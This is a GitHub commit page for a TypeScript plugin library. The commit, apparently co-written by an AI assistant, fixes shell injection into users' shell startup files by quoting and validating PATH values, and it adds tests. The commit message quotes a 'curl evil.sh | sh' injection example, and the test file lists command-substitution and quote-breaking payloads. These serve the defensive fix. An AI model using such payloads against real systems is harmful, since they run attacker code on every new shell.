Skip to content

Commit a7d06bd

Browse files
committed
fix: quote and validate paths written by addPathToShellRc
addPathToShellRc wrote `export PATH=${value}:$PATH;` unquoted, so a path such as `x; curl evil.sh | sh` (e.g. from a shared template) was written into the user's shell startup file and executed on every new shell. Values are now validated and written inside double quotes. Plain characters and simple variable references ($NAME / ${NAME}) are allowed; command substitution, backticks, other `$` expansions, quotes, backslashes and new lines are rejected with UnsafeShellValueError. A leading `~` is converted to `$HOME` since tildes don't expand inside double quotes. The helpers are exported (shell-escape.ts) so plugins can reuse them. The existing `prepend` semantics are unchanged. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_016QnBk4KjqTgmDacTAp63Un
1 parent c9290a9 commit a7d06bd

6 files changed

Lines changed: 136 additions & 8 deletions

File tree

‎package-lock.json‎

Lines changed: 2 additions & 2 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

‎package.json‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
{
22
"name": "@codifycli/plugin-core",
3-
"version": "1.2.11",
3+
"version": "1.2.12",
44
"description": "TypeScript library for building Codify plugins to manage system resources (applications, CLI tools, settings) through infrastructure-as-code",
55
"main": "dist/index.js",
66
"typings": "dist/index.d.ts",

‎src/index.ts‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,7 @@ export * from './utils/functions.js'
2020
export * from './utils/index.js'
2121
export * from './utils/verbosity-level.js'
2222
export * from 'zod/v4';
23+
export * from './utils/shell-escape.js'
2324

2425
export async function runPlugin(plugin: Plugin) {
2526
const messageHandler = new MessageHandler(plugin);

‎src/utils/file-utils.ts‎

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@ import { finished } from 'node:stream/promises';
77
import { ApplyNotes } from '../common/apply-notes.js';
88
import { CodifyCliSender } from '../messages/sender.js';
99
import { Utils } from './index.js';
10+
import { buildPathDeclaration } from './shell-escape.js';
1011

1112
const SPACE_REGEX = /^\s*$/
1213

@@ -70,6 +71,9 @@ ${lines.join('\n')}`)
7071
* @param prepend - Whether to prepend the path to the existing PATH variable.
7172
*/
7273
static async addPathToShellRc(value: string, prepend: boolean): Promise<void> {
74+
// Validate before anything else: the value ends up in the user's shell startup file.
75+
const declaration = buildPathDeclaration(value, prepend);
76+
7377
await FileUtils.createShellRcIfNotExists();
7478

7579
if (await Utils.isDirectoryOnPath(value)) {
@@ -79,11 +83,7 @@ ${lines.join('\n')}`)
7983
const shellRc = Utils.getPrimaryShellRc();
8084
console.log(`Saving path: ${value} to ${shellRc}`);
8185

82-
if (prepend) {
83-
await fs.appendFile(shellRc, `\nexport PATH=$PATH:${value};`, { encoding: 'utf8' });
84-
} else {
85-
await fs.appendFile(shellRc, `\nexport PATH=${value}:$PATH;`, { encoding: 'utf8' });
86-
}
86+
await fs.appendFile(shellRc, `\n${declaration}`, { encoding: 'utf8' });
8787

8888
CodifyCliSender.sendApplyNote(ApplyNotes.sourceShellRc());
8989
}

‎src/utils/shell-escape.test.ts‎

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
import { execFileSync } from 'node:child_process';
2+
import { describe, expect, it } from 'vitest';
3+
4+
import {
5+
buildPathDeclaration,
6+
isSafeDoubleQuotedShellValue,
7+
toSafeDoubleQuotedShellValue,
8+
UnsafeShellValueError
9+
} from './shell-escape.js';
10+
11+
const INJECTIONS = [
12+
'$(touch /tmp/pwned)',
13+
'`touch /tmp/pwned`',
14+
'a"; touch /tmp/pwned; echo "',
15+
'a\ntouch /tmp/pwned',
16+
'a\rtouch /tmp/pwned',
17+
'a\\"; touch /tmp/pwned; #',
18+
'$((1+1))',
19+
'${(e)EVIL}',
20+
'${EVIL@P}',
21+
'${EVIL:-$(touch /tmp/pwned)}',
22+
'$',
23+
'$1',
24+
'${}',
25+
];
26+
27+
describe('shell-escape', () => {
28+
it('allows plain values and simple variable references', () => {
29+
for (const value of [
30+
'/usr/local/bin',
31+
'/Applications/My App/bin',
32+
'$HOME/.local/bin',
33+
'${PNPM_HOME}/bin',
34+
'$HOME/a:$OTHER_VAR/b',
35+
"it's;fine|really&(yes)",
36+
'',
37+
]) {
38+
expect(isSafeDoubleQuotedShellValue(value), value).toBe(true);
39+
}
40+
});
41+
42+
it('rejects command substitution, quotes, backslashes, new lines and complex expansions', () => {
43+
for (const value of INJECTIONS) {
44+
expect(isSafeDoubleQuotedShellValue(value), value).toBe(false);
45+
expect(() => toSafeDoubleQuotedShellValue(value), value).toThrow(UnsafeShellValueError);
46+
}
47+
});
48+
49+
it('converts a leading tilde to $HOME', () => {
50+
expect(toSafeDoubleQuotedShellValue('~')).toBe('$HOME');
51+
expect(toSafeDoubleQuotedShellValue('~/bin')).toBe('$HOME/bin');
52+
expect(toSafeDoubleQuotedShellValue('/a/~b')).toBe('/a/~b');
53+
});
54+
55+
it('builds quoted PATH declarations (prepend behaviour unchanged)', () => {
56+
expect(buildPathDeclaration('/opt/bin', false)).toBe('export PATH="/opt/bin:$PATH";');
57+
expect(buildPathDeclaration('/opt/bin', true)).toBe('export PATH="$PATH:/opt/bin";');
58+
expect(buildPathDeclaration('~/.local/bin', false)).toBe('export PATH="$HOME/.local/bin:$PATH";');
59+
expect(() => buildPathDeclaration('/opt/bin; touch /tmp/pwned', false)).not.toThrow();
60+
expect(() => buildPathDeclaration('$(touch /tmp/pwned)', false)).toThrow(UnsafeShellValueError);
61+
});
62+
63+
it('produces declarations that the shell evaluates without running anything', () => {
64+
// A value that is allowed but would be dangerous unquoted
65+
const declaration = buildPathDeclaration('/opt/my dir;echo INJECTED', false);
66+
const output = execFileSync('sh', ['-c', `PATH=/usr/bin:/bin; ${declaration} printf '%s' "$PATH"`], { encoding: 'utf8' });
67+
expect(output).toBe('/opt/my dir;echo INJECTED:/usr/bin:/bin');
68+
});
69+
});

‎src/utils/shell-escape.ts‎

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
/**
2+
* Helpers for safely writing user supplied values into shell startup files (.zshrc, .bashrc, etc.).
3+
*
4+
* Values are written inside double quotes so that variable references such as `$HOME/bin` or `${PNPM_HOME}` keep
5+
* working. Everything else that the shell would evaluate inside double quotes (command substitution `$(...)`,
6+
* backticks, other `$` expansions such as `${(e)VAR}` or `${VAR@P}`, backslash escapes, closing quotes and new lines)
7+
* is rejected instead of escaped: escaping `$` would also break the intended variable references.
8+
*/
9+
10+
// A safe value is made up of plain characters and simple variable references ($NAME or ${NAME}).
11+
const SAFE_DOUBLE_QUOTED_VALUE_REGEX = /^(?:[^\n\r"$\\`]|\$[A-Z_a-z]\w*|\${[A-Z_a-z]\w*})*$/;
12+
13+
export class UnsafeShellValueError extends Error {
14+
constructor(value: string, description: string) {
15+
super(`Unsafe ${description}: ${JSON.stringify(value)}. Values written to shell startup files may only contain plain characters and simple variable references ($NAME or \${NAME}). Command substitution, backticks, quotes, backslashes and new lines are not allowed.`);
16+
this.name = 'UnsafeShellValueError';
17+
}
18+
}
19+
20+
export function isSafeDoubleQuotedShellValue(value: string): boolean {
21+
return SAFE_DOUBLE_QUOTED_VALUE_REGEX.test(value);
22+
}
23+
24+
/**
25+
* Validates that a value is safe to place between double quotes in a shell startup file. A leading `~` is converted
26+
* to `$HOME` since tildes are not expanded inside double quotes. Throws {@link UnsafeShellValueError} otherwise.
27+
*
28+
* @param value - The user supplied value.
29+
* @param description - What the value is, used in the error message.
30+
* @returns the value to place between the double quotes
31+
*/
32+
export function toSafeDoubleQuotedShellValue(value: string, description = 'value'): string {
33+
const converted = value === '~' || value.startsWith('~/')
34+
? `$HOME${value.slice(1)}`
35+
: value;
36+
37+
if (!isSafeDoubleQuotedShellValue(converted)) {
38+
throw new UnsafeShellValueError(value, description);
39+
}
40+
41+
return converted;
42+
}
43+
44+
/**
45+
* Builds the PATH declaration line written to the shell startup file. The behaviour of `prepend` is kept as it was
46+
* before quoting was added.
47+
*
48+
* @param value - The directory to add to PATH.
49+
* @param prepend - Kept with its existing semantics.
50+
* @returns the full `export PATH=...` line
51+
*/
52+
export function buildPathDeclaration(value: string, prepend: boolean): string {
53+
const safeValue = toSafeDoubleQuotedShellValue(value, 'path');
54+
55+
return prepend
56+
? `export PATH="$PATH:${safeValue}";`
57+
: `export PATH="${safeValue}:$PATH";`;
58+
}

0 commit comments

Comments
 (0)